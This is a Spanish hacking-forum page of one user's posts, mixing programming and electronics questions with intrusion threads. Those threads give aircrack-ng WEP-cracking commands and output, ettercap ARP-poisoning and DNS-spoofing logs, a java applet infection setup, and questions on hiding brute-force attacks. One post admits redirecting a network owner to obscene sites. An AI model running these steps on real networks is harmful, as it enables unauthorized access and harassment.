Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Debci

#46
Buenas a todos, como me gusto vuestra opinion sobre guitarristas, veamos ahora vuestras 3 canciones esenciales para vivir, aqui van las mias:

U2 - Sunday Bloody Sunday
http://www.youtube.com/watch?v=rUsWd5Oofug

U2 - Pride (In the name of love)

http://www.youtube.com/watch?v=LHcP4MWABGY

Green Day - Jesus of suburbia

http://www.youtube.com/watch?v=FNKPYhXmzoE

Sobretodo recalco sunday bloody sunday, nunca me aburro de escucharla :)

Saludos
#47
Como no hacer un post de Java


Hola a todos, ultimamente me he encontrado con multitud de post sucios, que tienen un mal titulo, o que no detallan lo que necesitan, o simplemente son de contenido "inerte", no hay substancia, piden codigo, hacen consultas sin argumentos ni especificaciones, bueno para acabar con este tipo de posts, primero analizar como son, aqui un ejemplo claro y duro:

http://foro.elhacker.net/java/porfa_sopa_de_letras_en_netbeans-t298964.0.html

No borro el tema para que quede como tema ejemplar, con este tema y los siguientes puntos no hay porque llegar a estas situaciones:

-Nadie, repito, nadie de este foro tiene la obligación de contestar a tus dudas, si quieres que asi sea, respeta las normas, y haz que el post llame la atención, y que una vez alguien este leyendo, que sea agradable a la vista, y tenga datos y especificaciones suficientes.

-Respecto a lo de que quede bonito y atractivo, es norma de este foro, que para que se ponga un codigo, sea Java, o sea de otro tipo, debe ponerse con las quotes de Geshi, tan sencillo como irse a la parte superior de la pagina donde publicamos un mensaje y selecionar "Codigo personalizado" y en esa ComboBox desplegar hasta llegar a Java y meter dentro de este, nuestro codigo, y este quedará coloreado y atractivo para su posterior analisis y comprensión.

-No pretendas crear un post de dos lineas pidiendo codigos, porque es probable que la gente responda con cosas tan inutiles como el mensajes mismo, recuerdo la norma esencial de este foro:
AQUI NO SE HACEN RUTINAS!!!!

-Si creas un mensaje, y alguien se digna a contestarlo lo minimo es agradecer la respuesta, si encima resuelve tu problema, no te resignes a irte sin mas y entregar tu codigo bien hecho al profesor ¬¬
Contestar con ejemplos probados y adaptados a tus problemas cuesta mucho, y mas sin tener obligacion de hacerlo, lo minimo es agradecer.


Saludos
#48
Java / MOVIDO: Java Pow Upload
7 Julio 2010, 22:57 PM
El tema ha sido movido a Ingeniería Inversa.

http://foro.elhacker.net/index.php?topic=298975.0
Puesto que para estas cosas no hay mucho sobre programación de java, hay mas de descompilado, al foro de ingenieria inversa.


Saludos
#49
Hacking / Bypassear AV para arp-poisoning?
5 Julio 2010, 22:44 PM
Hola a todos, llevo ya mas de una semana intentando poisonear las tablas arp en una red local, y no hay manera, con ettercap estoy trabajando.

Mirad, hago uniffied sniffing, cojo la interfaz wlan0, y hago el ataque MitM clasico, y para rematarlo compruebo con un plugin chk_poison para ver si el ataque ha surgido, y nada, resultado negativo, lo que mas me sorprende son tres cosas:

1-Los ataques de arp poison trabajan en la capa 2, los antivirus tienen protecion a ese nivel?
2-Porque si son 3 pc´s en la red, no afecta a ninguno? Y tengo por seguro que hay uno que no tiene ni AV ni firewall (con el que hacemos pruebas)
3-Si el ataque falla, no deberia etetrcap darme algun signo de error?

Según me comentó Kamsky, puedo probar un ataque de fragmentación de paquetes, he buscado y no encuentro nada con referencia a eso, solamnete algo de teoria pero ningun soft para hacerlo, además de parecer un ataque muy muy complicado, aun no lo se de cierto.

Alguien sabe que puedo hacer?


Saludos
#50
Hola a todos, para estrenar mi nueva cuenta google de elhacker.net jeje, que me han otorgado como editor de la wiki, he creado un documento que a puede interesar a los mas newbies del tema, pues explica muy esquematicamente como funciona un ataque por exploit basico:

https://docs.google.com/a/elhacker.net/Doc?docid=0AXJOz2tFdXCMZGNndmpjejhfMGZzNnh2dGR6

Consultas, dudas, criticas, sugerencias o insultos a:
debci@elhacker.net


Saludos
#51
Bueno, por fin cuando ya estoy metido de lleno en el mundo de programación con asm, se me presentan los tipicos problemas de logica por falta de conocimiento, que me pasaron cuando estuve en Basi, en Java y en C++.

Bueno el codigo que me deducido es el siguiente:
Código (asm) [Seleccionar]
section .data
hello     db 'Hello, world!',10 ; Our dear string
helloLen  equ $ - hello ; Length of our dear string
        dataSecond    db   'Datos escritos correctamente',10
           dataLen    equ   $ - dataSecond
        file         db    '/root/archivo.txt',10

section .text
    global _start

_start:
pop ebx
        pop ebx
        pop ebx  ;arg[3] o el directorio del archivo a escribir en ebx
       
mov eax,8 ; Syscall a creat
mov ecx,00644Q ; Permisos de lectura en Octal (rw_rw_rw_)
int 0x80 ; Llamada al kernel de Linux
; Ahora tenemos el file descriptor o handler del archivo selecionado en ebx

test eax,eax ; Igualamos si el file descriptor es correcto
js skipWrite
call fileWrite    ; Primer procedimiento de escritura
call fileWSegundo       ; Segundo procedimiento de escritura


skipWrite:
mov ebx,eax ; Guardamos el error en ebx
mov eax,1 ; Syscall 1 - Finalizar ejecucion
int 0x80 ; llamamos al kernel

; proc fileWrite - write a string to a file
fileWrite:
mov ebx,eax ; sys_creat devuelve un handler de archivos en eax, lo ponemos en ebx
mov eax,4 ; sys_write
; ebx is already set up
mov ecx,hello ; La cadena de texto en ecx, como tercer argumento de la función
mov edx,helloLen ; la length de nuestra cadena definida como constante con equ
int 0x80

       
       



fileWSegundo:
        mov ebx,eax ; sys_creat devuelve un handler de archivos en eax, lo ponemos en ebx
mov eax,4 ; sys_write
mov     ecx,dataSecond
        mov     edx,dataLen
        int     0x80

        mov eax,6 ; sys_close
int 0x80
ret ; No se para que sirve pero lo he visto en mas programas :S

; endp fileWrite



La cosa es que no me escribe dicho archivo, he querido crear dos procedimientos para escribir por separado, por mero aprendizaje, el ver que puedo separar la runtime en varios procedimientos, no mas que eso.

Alguien me podria orientar? Y explicarme que hace el ret :P
#52
Os voy a contar una anécdota curiosa que me acaba de pasar xD

estaba yo tan tranquilo viendo documentos por aqui, por la web, cuando de repente leí uno sobre cosas que facilitan la vida en una shell remota, la cosa es que vi la de dejar una notita del sistema comprometido, y cojí y la probé:

echo "Hola, su servidor ha sido comprometido, para más información ejecute 'nc localhost 5555'" > mensaje
wall < mensaje
nc -l -p 5555 -vv


Sonó el beep de la bios, y nada, dije, esto que no funciona que esta deprecated....

Pasaron las hora sy olvidé completamente que lo habia hecho, es mas ni leí el comando, ni me dispuse a ve que habia ocurrido, cuando en mi escritorio veo un archivo mensaje...
Que coño es esto?
MMM voy a abrirlo...

Mi sistema ha sido comprometido?
Que raro, sie xtremo precauciones y no ofrezco ningun servicio remoto :S
Me dispuse a buscar simbolos de evidencia de dicho ataque, cuando tras examinar archivos temporales, puertos abiertos, posibles modificaciones de cron, shells corriendo en un puerto y nada...
Menudo pedazo de hacker el tio... Ha entrado por donde no se puede :S

Mmmm quizás tenga alguna sesión de meterpreter o reverse_shell en algun puerto veamos.... Nop no tengo ningun puerto a la escucha...
Que diablos pasa? Por ingenieria social? Imposible, no me han pasado nada y no ejecuto applets si no estoy seguro...

Para cuando se me ocurre encender firefox y abrir la sesion anterior y tengo en la primera pagina, dicho mensaje...

Que Pwn3ada....
Madre mia que cabeza la mia...

Espero que esta anécdota sirva para que la gente no ejecute comandos de tutos al tuntún...

Saludos xDD
#53
Hola a todos, desde ayer por la tarde he notado incidencias en la red, pues de entrada los vids de youtube se paran, internet va algo mas lento y las paginas se quedan cargando indefinidamente, la cosa es que me puse a investigar el trafico de red con wireshark y para mi sopresa vi que habia mil y un paquetes de red, sin estar haciendo nada con internet, aqui os dejo la imagen:



Es normal tener ese trafico de red estando sin conexiones?
Os puedo enviar tambien lo que capturé con el sniffer, pero es algo asi como la imagen mostrada todo el tiempo.

Comentar que me bota del msn cada dos por 3 y se vuelve a conectar, no se que le pasa a mi red, esta loca xD
Parece como si alguien estuviese doseandola.

Saludos
#54
Java / Sobre sistemas distribuidos!
2 Julio 2010, 01:34 AM
Hola a todos, voy a abrir este post para discutir sobre sistemas distribuidos y tecnologias como VPN bajo java.

La cosa es la siguiente llevo como 2 meses comiendome la cabeza intentando averiguar una manera de realizar un calculo utilizando varios ordenadores, con un software programado por mi.

He leido acerca de una api Jini, pero no me da lo que busco.

Alguien ha experimentado con estas tecnologias?


Saludos
#55
INDICE DE TEMAS INTERESANTES Y FAQ

Bueno, para estrenarme como MOD de seción os hago un recopilatorio con los temas mas interesantes clasificados, según intereses:


Normas (Muy importante, lectura obligatoria)

http://foro.elhacker.net/java/reglas_del_foro_iexclleed_todos-t163024.0.html


Por donde empezar...


Que es Java?
http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_Java
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Descarga de Java [Última versión]
http://www.java.com/es/download/
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Guia de java [Completísima, todo tipo de tips, lo necesario para aprender java]
http://foro.elhacker.net/java/manual_java_basico_pdf_y_1027_paginas-t206793.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Referencia, ejemplos de uso y demás tips muy interesantes del compañero de esta web Chuidiang
http://www.chuidiang.com/java/index.php
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ejercicios de Java: Teoria + Ejemplos
http://foro.elhacker.net/java/ejercicios_java_teoriaejemplos-t34891.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Problemas comunes solucionados


Como usar varios hilos en una clase?
http://foro.elhacker.net/java/como_usuar_varios_hilos_en_una_clase_solucionado-t297844.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Solución a ejercicios de herencia
http://foro.elhacker.net/java/ayuda_con_ejercicios_de_herencia-t297705.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Conexión con MySql en Netbeans IDE
http://foro.elhacker.net/java/conexion_de_sql_y_netbeans_ayuda-t297581.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Arrays en Java
http://foro.elhacker.net/java/arrays_en_java_como_usarlo-t295753.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Manejo de archivos de texto en Java
http://foro.elhacker.net/java/manejar_archivo_txt_desde_java_ingresar_datos_modificar_datos_buscar_datos_y-t295430.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Manejo de fechas en Java
http://foro.elhacker.net/java/manejo_de_fechas_date-t295826.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Crear un paquete Jar
http://foro.elhacker.net/java/como_crear_un_paquete_jar_en_java-t295598.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Sources y guias interesantes


Como conectar Java con Twitter por DDK
http://foro.elhacker.net/java/tutorial_twitter_java-t298356.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Tomar captura de Imagen desde camara Web
http://foro.elhacker.net/java/tomar_una_foto_desde_una_webcam-t285457.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keylogger en Java
http://foro.elhacker.net/java/tutorial_keylogger_en_java_jni-t275565.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
JNA en java: Ejecuta codigo en C++ para java!
http://foro.elhacker.net/java/jna_y_manipulacion_de_apis_de_windows_en_java-t282170.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Auto-completer JCombo-Box
http://foro.elhacker.net/java/aporte_autocompler_en_un_jcombobox-t290429.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Clase JDBC para interactura con bases de datos
http://foro.elhacker.net/java/clase_para_conectar_a_una_base_de_datos_e_interactuar_con_ella_jdbc_mysql-t262661.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ver lista de procesos bajo plataformas Win32
http://foro.elhacker.net/java/aporte_by_4ng3r_ver_procesos_de_windows-t285166.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Base para crear un instalador desde Java
http://foro.elhacker.net/java/base_para_crear_un_instalador_desde_java-t299811.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Crear interfaces gráficas con Look and Feel en java
http://foro.elhacker.net/java/como_crear_interfaces_graficas_con_look_and_feel_en_java-t147610.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Reverse Shell para Window
http://foro.elhacker.net/java/reverse_shell_para_windows_en_java-t263198.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Java, C, DLL (y Rock 'n Roll xD)
http://foro.elhacker.net/java/aporte_by_4ng3rjava_c_y_dll-t284914.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Java Speaker: Creación de voz con Java
http://foro.elhacker.net/java/aporte_by_4ng3r_crear_voz_con_java-t285294.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Solucionador de ecuaciones 2º grado (Defectuoso) xD
http://foro.elhacker.net/java/aporte_solucionador_de_ecuaciones_de_2o_grado-t275207.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Obtener información sistema operativo desde Java
http://casidiablo.net/capturar-informacion-sistema-operativo-java/
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Creación de un sniffer en Java

  • Parte #1
http://foro.elhacker.net/java/tutorial_1primer_paso_para_crear_un_sniffer_en_java-t280567.0.html          
  • Parte #2 (Conceptos avanzados)
http://foro.elhacker.net/java/tutorialcreacion_de_un_sniffer_pasos_avanzados_2-t280634.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Lectura de archivos XML (Clase BETA)
http://foro.elhacker.net/java/clase_beta_lectura_por_tags_archivos_xml-t263818.0.html
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Eso es todo, se irá añadiendo lo nuevo y viejo que se haya pasado por alto.
Gracias a la comunidad de elhacker.net por brindarme esta oportunidad, especialmente a el-brujo por dedicarme un poco de su tiempo para darme este puesto, en el cual voy a trabajar muy duro, todo lo que se pueda, se hará.

Saludos

Actualizado el 30-06-2010 a las 19:16.

#56
 >:(

Que mosqueo llevo encima, algunos AP soy capaz de crackearlos, a veces se puede  avaces no, con el mismo AP, otras ni siquiera capturo datas....
Que decir...
Tras pelearme con mi tester y conseguir hacerlo tras un rato de pruebas, me dispongo a intentarlo con otro AP:

airodump-ng -w wep -c 1 --bssid 00:22:______ mon0

CH  1 ][ Elapsed: 21 mins ][ 2010-06-30 13:24 ][ fixed channel mon0: 11

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:22:_________  -58 100    12748     1824    0   1  54e. WEP  WEP    OPN  WLAN25D518

BSSID              STATION            PWR   Rate    Lost  Packets  Probes


Caputar datas de vez en cuando, pero no es viable tardaria mucho tiempo asi :S

aireplay-ng -1 0 -a 00:22_______ mon0
No source MAC (-h) specified. Using the device MAC (00:08:________________)
12:51:02  Waiting for beacon frame (BSSID: 00:22:____________) on channel 11

12:51:02  Sending Authentication Request (Open System) [ACK]
12:51:02  Authentication successful
12:51:02  Sending Association Request [ACK]
12:51:02  Association successful :-) (AID: 1)


Y supuestamente ya estoy asociado, ahora a inyectar trafico no?

aireplay-ng -3 -b 00:22:____________ mon0

No source MAC (-h) specified. Using the device MAC (00:08______________)
13:06:37  Waiting for beacon frame (BSSID: 00:22:________________) on channel 1
Saving ARP requests in replay_arp-0630-130637.cap
You should also start airodump-ng to capture replies.
14303 packets (got 0 ARP requests and 134 ACKs), sent 0 packets...(0 pps)


Y por mas que espero no suben los datas, en algunos AP suben, pero esperando, a veces al instante, otras tengo que hacer cosas con el ataque fragmentation, o me da la sensacion de que se arregla con eso, pero no actua igual en todos los ap.

Alguna idea?
Si me podeis decir que pauta a seguri, porque no se si lo estoy haciendo bien, y mirad que he leido y leido que no veas, y nada, tan facil que dicen todos que es...

Saludos
#57
Hacking / Intento de Spoofeo...
29 Junio 2010, 15:56 PM
Hola a todos, para los que hayan seguido mi ataque a una red y para los que no, aqui viene mi sigueinte problema....

Tras crackear el wifi, escanear en busca de vulnerabilidades, en los PC de la lan, y no encontrar nada, viene la ingenieria social, he infectado una web con su applet, y este lanza un payload en el handler cuando se acepta, es el famoso java applet infection.

La cosa es que para conducir a mi supuesta victima a dicha IP donde tengo el server web corriendo, he usado la tecnica de DNS spoofing, pero algo debe estar funcionando mal puesto que no hace el ARP Poisoning correctamente, la cosa es la siguiente, en otras circunstancias si que lo hacia bien, ahora hago un chk_poison para ver que todo ha ido bien y no me dice nada bueno, sin embargo en otras redes si que iba :s

Os dejo el log de la consola ettercap:


Listening on wlan0... (Ethernet)

wlan0 -> 00:08:D3:38:AE:6E     192.168.1.131     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

etter.dns:36 Invalid ip address
 28 plugins
 39 protocol dissectors
 53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts list...
Host 192.168.1.1 added to TARGET1
Host 192.168.1.128 added to TARGET2

ARP poisoning victims:

GROUP 1 : 192.168.1.1 00:15:F2:F0:32:CD

GROUP 2 : 192.168.1.128 00:16:6F:B9:09:2C
Starting Unified sniffing...

Activating dns_spoof plugin...
Activating chk_poison plugin...
chk_poison: Checking poisoning status...
chk_poison: No poisoning between 192.168.1.128 -> 192.168.1.1

He selecionado las targets correctamente y nada.

Alguna idea?

Comentar que esto lo hago entre mis pcs en mi lan, la PS3, el netbook y 2 pc mas.

Cabe mencionar que estoy lejos del AP, tengo un 30% de señal y pierdo frecuentemente la conexion, creo que es por la lejania.

Saludos
#58
Buenas a todos, he adquirido un paquete con ciertos componentes electronicos para la etapa de potencia de un robot volador.
Tengo en concreto un Transistor NPN, del cual no entiendo las especificaciones, pues tengo los siguientes datos:
Citar
VCBO Collector-Base Voltage (IE = 0) 60 V
VCEO Collector-Emitter Voltage (IB = 0) 40 V
VEBO Emitter-Base Voltage (IC = 0) 6 V
IC Collector Current 200 mA
Ptot Total Dissipation at TC = 25 oC 625 mW
Tstg Storage Temperature -65 to 150 oC
Tj Max. Operating Junction Temperature 150 oC

No entiendo exactamente a que se refiere con collector-base voltage y collector emiter, tengo una idea, pero estoy acostumbrado a que me den una intensidad o un voltaje para los mosfte y me digan con tanto estimulas el base y el colector transmite al emisor y asi amplificas corrientes, no estoy muy hecho a consultar datasheet.

Si alguien me lo puede aclarar, se lo agradeceria.


Saludos y gracias
#59
Hola a todos, intentando asaltar uan red para llegar hasta el PC, decir que estoy totalmente autorizado a hacerlo, he conseguido llegar la lan interna de dicha red, primero hakeando el sistema wifi, y entrando en la WLAN con el aircrack suite!

Os explico lo que he hecho:

Escaneamos redes con:


airodump-ng mon0

Escojemos nuestra red para crackear:

Su canal y maca incluidas:

airodump-ng -w wep -c 11 --bssid 00:15:F2:F0:32:CD mon0

Hacemos una falsa autentificación:

aireplay-ng -1 0 -a 00:15:F2:F0:32:CD mon0

Capturamos replies:

aireplay-ng -3 -b 00:15:F2:F0:32:CD mon0

Generamos trafico en caso de que no haya clientes:

aireplay-ng -3 -b 00:15:F2:F0:32:CD -h 00:08:D3:38:AE:6E mon0

Si hace falta reforzamos la des-autentificación:

aireplay-ng -1 0 -a 00:15:F2:F0:32:CD mon0

Y veremos como suben los IVS! Y listo para crackear con aircrack-ng


Son mis apuntes extraidos para el ataque, la cosa es que estando una vez en su lan, tengo que encontrar algun vector de ataque para saltar al nivel de maquina, la cosa es la siguiente:

He hecho un mapeo de la lan con lanmap, y he sacado una grafica, que me ha aclarado las ideas bastante bien.

Posteriormente he identificado 2 equipos aparte del mio en dicha red, uno que me daba como un BSD, y resulto ue era un PS3 conectada a la wlan y un windows XP:
Win2k SP2

La cosa esta en que he escaneado con OpenVas, el ordenador de esa Lan y la unica advertice que he encontrado ha sido una ms03_34 de riesgo low, que no es explotable en este momento.

He estado sniffando la red y buscando datos comprometedores pero el ettercap con arp poisoning y el router en el TARGET 2 y el equipo en el TARGET 1, no capta nada por mas que navegan por la red, pues veo las paquetes, y puedo apreciar datos de formularios.

He escaneado los puertos de los equipos de la red y no hay nada activo en los PC´s, asi descarto un posible exploit, en todo caso estaba esperanzado de entrar por el bug de netapi de SMB en el puerto 445 pero no hubo suerte.

He jugado spoofeando dns y volviendo loco al propietario llevandolo a webs de caracter obsceno y extraño que ha provocado poco mas que una situacion curiosa xD

Que me recomendais hacer ahora una vez estoy en este punto?


Saludos
#60
ATAQUE WIFI BÁSICO


Hola a todos, hoy me he propuesto crackear la contraseña del wifi, de mi vecino, que por supuesto tengo permiso, me he informado, he leido, he estudiado y he llegado a la conclusion del siguiente ataque:

Primero de todo analizo el perimetro de redes wifi:

airodump-ng mon0

CH 11 ][ Elapsed: 1 min ][ 2010-06-24 17:22

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:22:___________ -49       33       29    0   1  54e. WEP  WEP    OPN  WLAN_____
00:15:___________-82       46        0    0  11  54   WEP  WEP         Jazztel ______

BSSID              STATION            PWR   Rate    Lost  Packets  Probes

00:22:___________  00:08:___________    0    1e- 1e   606      156  WLAN______


Bieeen tengo la red que yo queria crackear, en mi caso Jazztel _____, por tanto me centro en su canal de comunicacion:

airodump-ng -w wep -c 11 --bssid 00:15:___________ mon0

Y empiezo a ver sus datos concretos:

CH 11 ][ Elapsed: 5 mins ][ 2010-06-24 17:29 ][ fixed channel mon0: 1

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:15:___________  -80   4     1830        0    0  11  54   WEP  WEP    OPN  Jazztel ___

BSSID              STATION            PWR   Rate    Lost  Packets  Probes

00:15:___________  00:08:___________    0    1 - 1      0        9


Ahora empieza el ataque para comenzar a capturar paquetes, para lo cual, primero tengo que inyectarle y hacer una autentificación falsa:

aireplay-ng -1 0 -a 00:15:___________ mon0


Y la asociacion de AP transcurre satisfactoriamente:

No source MAC (-h) specified. Using the device MAC (00:08:___________)
17:28:02  Waiting for beacon frame (BSSID: 00:15:___________) on channel 11

17:28:02  Sending Authentication Request (Open System) [ACK]
17:28:02  Authentication successful
17:28:02  Sending Association Request [ACK]
17:28:02  Association successful :-) (AID: 1)


Ahora empieza la captura de trafico y arp:

aireplay-ng -3 -b 00:15:___________ mon0


No source MAC (-h) specified. Using the device MAC (00:08:___________)
17:25:46  Waiting for beacon frame (BSSID: 00:15:___________) on channel 11
Saving ARP requests in replay_arp-0624-172546.cap
You should also start airodump-ng to capture replies.
2007 packets (got 0 ARP requests and 20 ACKs), sent 0 packets...(0 pps)


Y por mucho que espero no suben los data, estudiando la situación he llegado a la conclusion de que esto ocurre porque no hay ningun cliente asociado que genere trafico de red, y creo que eso se hace en el punto dos de mi ataque, lo que ocurre es que me autentifico falso y al rato me kickea de la falsa autentificación.

Esto es una guia de ataque básico y al mismo tiempo mi duda.

Alguien sabe como puedo solventar este problema sin tener que esperar a que mi vecino empieze a navegar/descargar, en general usar su red?

Saludos y gracias por vuestra atención.
#61
Foro Libre / Un autentico alien marino!
21 Junio 2010, 21:46 PM
Sinceramente amigos, me ha impactado, esta criatura marina, es impresionante, creo que poco mas decir, que es de alguna manera un muestra de enseñarnos la de formas de vida ocultas que tenemos en la tierra, ya que del mar se calcula que conocemos menos de un cuarto de estas.

Ya digo que la imagen es impresionante, pero el video no tiene perdida ninguna, todo un alien de pelicula.




Video de cuarto milenio:

http://www.cuatro.com/cuarto-milenio/videos/tiburones-pelicula-existen/20091222ctoultpro_3/

Espero que les guste.

Un saludo
#62
Hola a todos, hoy he estado moviendo servos, con mi arduino duemilanove y en un tirón se ha roto el cable y se ha quedado el alambre dentro del pin.

Alguien sabe como sacarlo?
He probado con cola enganchando otro cable y tirando pero no sale, y soldar temo fundir el plastico del pin.

Saludos
#63
Electrónica / Problema con LCD GDM1602K
9 Junio 2010, 22:16 PM
Hola a todos, he adquirido recientemente un display LCD, del modelo indicado en el titulo, la cosa es que he conectado el patillaje, en un PIN macho y añado el LCD, pero sin tener las patillas soladas (no se exactamente si influye), la cosa es que ni siquiera se enciende, y creo que solo con darle a los dos pines de voltaje ya deberia hacer algo :s
Tengo que soldarle los pines o funciona igualmente?

Cabe mencionar que si invierto los polos de alimentación muestra cuadraditos negros :S
Necesito que alguien me diga algo para devolverlo o no :S
Me urge un poquitin

Saludos
#64
Electrónica / Dudas con integrado PCF8574
7 Junio 2010, 21:56 PM
Hola a todos, estoy desarrollando un proyecto de robótica con mi arduino, y me quedé corto de pines I/O, y informandome llegué al bonito integrado PCF8574, pero tiene cierto nivel de abstracion que aun no domino  :xD, teno una ligera hipotesis de su funcionamiento, pero no estoy seguro.

La cosa es esta, he leido que tiene una direción de memoria, y que cambiando los bytes de esta se consigue una cosa u otra, por ejemplo:

| 0 | 1 | 1 | 1 |A2 |A1 |A0 | R/W |
| 0 | 1 | 1 | 1 | 0 | 0 | 0 |  0  | <= Escritura (38h)
| 0 | 1 | 1 | 1 | 0 | 0 | 0 |  1  | <= Lectura   (39h)

Con esto entiendo que el ultimo bit marca si es IN u OUT.
Pero en el caso concreto de arduino, que señal tengo que enviarle? a que pin envio el 38h? Envio o leo 38h? porque pin en tal caso?

No entiendo basicamente su funcionamiento, pero supongo esto:

Si un pin de entrada detecta algo obtendré de alguna manera 39h, pero no queda claro porque no obtendré ningun valor lógico de potencia ni nada, aunque esto mas bien lo achaco a que no sean de tipo PWM...

En caso de que quiera leer un pin, que deberia hacer? enviar 39h y el integrado me responde?


Saludos y gracias por su tiempo
#65
Hacking / Sora me ha hecho pensar...
5 Junio 2010, 22:27 PM
Hola a todos, os cuento mi duda/problema.
Normalmente cuando practico una intrusión a un servidor, hago el proceso explicado por sora, primero escaneo, testeo puertos para ver si alguno tiene guest y si no busco un servicio vulnerable para explotarlo.
A lo sumo he llegado a buscar la version de un cliente mail custom del server y con un fuzzer crear mi propio exploit, pero no es el camino logico.
He visto que emple fuerza bruta para sacar los datos de aceso.

Siempre, repito siempre, he decsartado esa opcion por ser tan ruidosa como un elefante en un chatarreria.

Hay alguna manera de ofuscarlo? Con tor y privoxy quizás? Tor y privoxy pasan por proxy los datos de todo el software que elija o simplemente es un proxy de navegador?

Si por ejemplo quiero forzar un servicio FTP, como hace un programa de fuerza bruta para localizar los campos donde introducir usser y pass? Porque los de fuerza bruta que he visto son solamente para reventar md5 y otros hashes, pero no para servicios de red.

En el hacking ético y no tan ético se usa frecuentemente esta técnica?


Un saludo y gracias por vuestra atencion
#66
Electrónica / Comunicando arduino con PC
31 Mayo 2010, 20:08 PM
Hola a todos, ya he hecho toda una proeza (para mi :)) en el mundo de la electronica, y es crear mi software, y con este controlar mi arduino, mediante envio de un codigo numerico sencillo, la cosa es que no puedo graduar el fadding, no se que problema puede ser, la cosa es la siguiente, tengo el siguiente codigo en java:

Código (java) [Seleccionar]

/*
* PanelControl.java
*
* Created on 31-may-2010, 19:33:36
*/

package javacom;

import app.Com;
import app.Parameters;
import core.SerialPort;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author debci
*/
public class PanelControl extends javax.swing.JFrame {

   /** Creates new form PanelControl */
   public PanelControl() {
       initComponents();
   }

   /** This method is called from within the constructor to
    * initialize the form.
    * WARNING: Do NOT modify this code. The content of this method is
    * always regenerated by the Form Editor.
    */
   @SuppressWarnings("unchecked")
   // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
   private void initComponents() {

       jButton1 = new javax.swing.JButton();
       jButton2 = new javax.swing.JButton();
       jButton3 = new javax.swing.JButton();
       jSlider1 = new javax.swing.JSlider();
       jButton4 = new javax.swing.JButton();

       setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

       jButton1.setText("Enciende LED");
       jButton1.addActionListener(new java.awt.event.ActionListener() {
           public void actionPerformed(java.awt.event.ActionEvent evt) {
               jButton1ActionPerformed(evt);
           }
       });

       jButton2.setText("Apaga LED");
       jButton2.addActionListener(new java.awt.event.ActionListener() {
           public void actionPerformed(java.awt.event.ActionEvent evt) {
               jButton2ActionPerformed(evt);
           }
       });

       jButton3.setText("Fadding");
       jButton3.addActionListener(new java.awt.event.ActionListener() {
           public void actionPerformed(java.awt.event.ActionEvent evt) {
               jButton3ActionPerformed(evt);
           }
       });

       jSlider1.setMaximum(254);
       jSlider1.setValue(0);
       jSlider1.addChangeListener(new javax.swing.event.ChangeListener() {
           public void stateChanged(javax.swing.event.ChangeEvent evt) {
               jSlider1StateChanged(evt);
           }
       });

       jButton4.setText("Inicio FADDING");
       jButton4.addActionListener(new java.awt.event.ActionListener() {
           public void actionPerformed(java.awt.event.ActionEvent evt) {
               jButton4ActionPerformed(evt);
           }
       });

       javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
       getContentPane().setLayout(layout);
       layout.setHorizontalGroup(
           layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
           .addGroup(layout.createSequentialGroup()
               .addContainerGap()
               .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                   .addComponent(jButton1)
                   .addComponent(jButton2)
                   .addComponent(jButton3)
                   .addComponent(jButton4)
                   .addComponent(jSlider1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
               .addContainerGap(184, Short.MAX_VALUE))
       );
       layout.setVerticalGroup(
           layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
           .addGroup(layout.createSequentialGroup()
               .addContainerGap()
               .addComponent(jButton1)
               .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
               .addComponent(jButton2)
